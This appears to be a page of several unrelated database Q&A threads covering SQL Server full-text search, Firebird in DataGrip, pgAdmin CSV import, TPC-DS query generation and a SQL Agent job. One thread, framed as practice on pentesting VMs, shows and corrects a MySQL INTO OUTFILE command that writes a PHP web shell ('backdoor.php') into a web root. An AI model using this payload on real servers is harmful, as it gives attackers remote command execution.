Find a whole sentence by SQL Contains command - sql

Search for a whole sentence in a file stored in file table using CONTAINScommand ?
For example if user enter "SQL Server" sentence I want to search for files that just contain exactly "SQL Server" not "SQL SOME TEXT Server"
I get the following error : Syntax error near 'Server' in the full-text search condition 'SQL Server'
select *
from files
where contains(file_stream,'SQL Server')
Then I try this one :
select *
from files
where contains(file_stream,'SQL AND Server')
But this returned files containing "SQL SOME TEXT Server" too.
How do I correct this?

I believe you want this:
select * from files where contains(file_stream,'"SQL Server"')
notice the double quote.

Related

"Unexpected end of command - line 1, column 8" in JetBrains DataGrip trying to connect to Firebird

I'm trying to connect to a Firebird database hosted in a Docker from the DataGrip client, but this error appears:
WARNING: No connection character set specified (property lc_ctype, encoding, charSet or localEncoding
[42000][335544851] Dynamic SQL Error; SQL error code = -104; Unexpected end of command - line 1, column 8 [SQLState:42000, ISC error code:335544851]
I've tried to give a path in the file encoding, but I don't have any idea to how Jaybird works.
What do I need to do?
The problem is caused by IntelliJ (DataGrip is based on IntelliJ) executing a "keep-alive query" when testing the connection, but the default configuration for the Firebird driver doesn't have a keep-alive query. When no keep-alive query is configured, IntelliJ seems to execute the query select 1 (though I haven't verified this, the fact the error mentions "column 8" seems to hint at that). This causes Firebird to return an error, because Firebird requires a from-clause.
To solve this, go to the "Drivers" tab of the "Data Sources and Drivers" screen, select "Firebird" (under "Basic Support"), and on the options tab, enter the "Keep-alive query" select 1 from rdb$database.
As an aside, you can make the warning about the connection character set go away by explicitly configuring a connection character set (property charSet) on the "Advanced" tab of the connection configuration.
I reported this to JetBrains: Configuration for Firebird misses default keep-alive query causing error on connection test

php code injection in phpmyadmin

I'm toying with some pentesting VMs, and I'm trying a shell upload in phpmyadmin.
The tutorial, I'm trying to follow is http://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/
The question I have however is pure SQL - the command I'm trying to use:
SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “C:\\xampp\\htdocs\\backdoor.php”
is producing the following error:
Error
There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problem
ERROR: Unknown Punctuation String # 9
STR: <?
SQL: SELECT “<?php system($_GET[‘cmd’]);SELECT “<?php system($_GET[‘cmd’]);SELECT “<?php system($_GET[‘cmd’]);
SQL query: Documentation
SELECT “<?php system($_GET[‘cmd’]);
MySQL said: Documentation
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?php system($_GET[‘cmd’])' at line 1
Any ideas how could I format it to be accepted?
The quotes were copied dirty. Replace them after pasting the snippet:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php";

Getting Internal Server Error on pgSQL

Im tryingto import data from windows CSV (comma delimiter) file into pgSQL faxtest1 table, but I keep getting error saying "The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application."
The following is my code:
COPY faxtest1
FROM 'C:‪\Users\David\Desktop\test3.csv'
WITH DELIMITER AS ',' CSV ;
The CSV file is like:
Status,Fax ID
Fax to Email,2104
Fax to Email,2108
It is a bug of pg admin 4, hope they will fix it in the future.
In version 14, in the Import/Export data function, there are 2 columns, "Options" and "Columns." Try manually select the columns one at time, separated by a comma. See if this would by pass the error.
It worked for me.

How to generate executable TPC-DS queries?

I have downloaded the DSGEN tool from the TPC-DS web site and already generated the tables and loaded the data into Oracle XE.
I am using the following command to generate the SQL statements :
dsqgen -input ..\query_templates\templates.lst -directory ..\query_templates -dialect oracle -scale 1
However, No matter how I adjust the command I always get this error message :
ERROR: A query template list must be supplied using the INPUT option
Can anybody help?
Apparently you need to use / rather than - for the flags for the Windows executable:
dsqgen /input ..\query_templates\templates.lst /directory ..\query_templates
/dialect oracle /scale 1

SQL Agent File could not be found

This SQL job has been working for years on SQL Server 2000. I decided to move this SQL job to SQL server 2012.
I ran the job as normal, but keep getting the following error:
Error Code: 0 Error Source= Microsoft Word Error Description: This
file could not be found. Error on Line 21. The step failed. It
cannot locate the .dot file which is on a separate server.
Am I missing something now that it's on an update server?
oA2.Open "SELECT ID, Field1, Field2, Field2 FROM tblAppMapping WHERE Field2 is NOT NULL ORDER BY ID"
Set oW = CreateObject("Word.Application")
If oA("FileID") = "2" Then
oW.Documents.Add "\\fileserver\WordTemplates\Template App V1.dot"
Else
oW.Documents.Add "\\fileserver\WordTemplates\Template App V2.dot"
End If
Looks to me like a permissions / Access issue on the file location. I would check that the file physically exists and that the Database user (Service Agent) has correct permissions to the file location.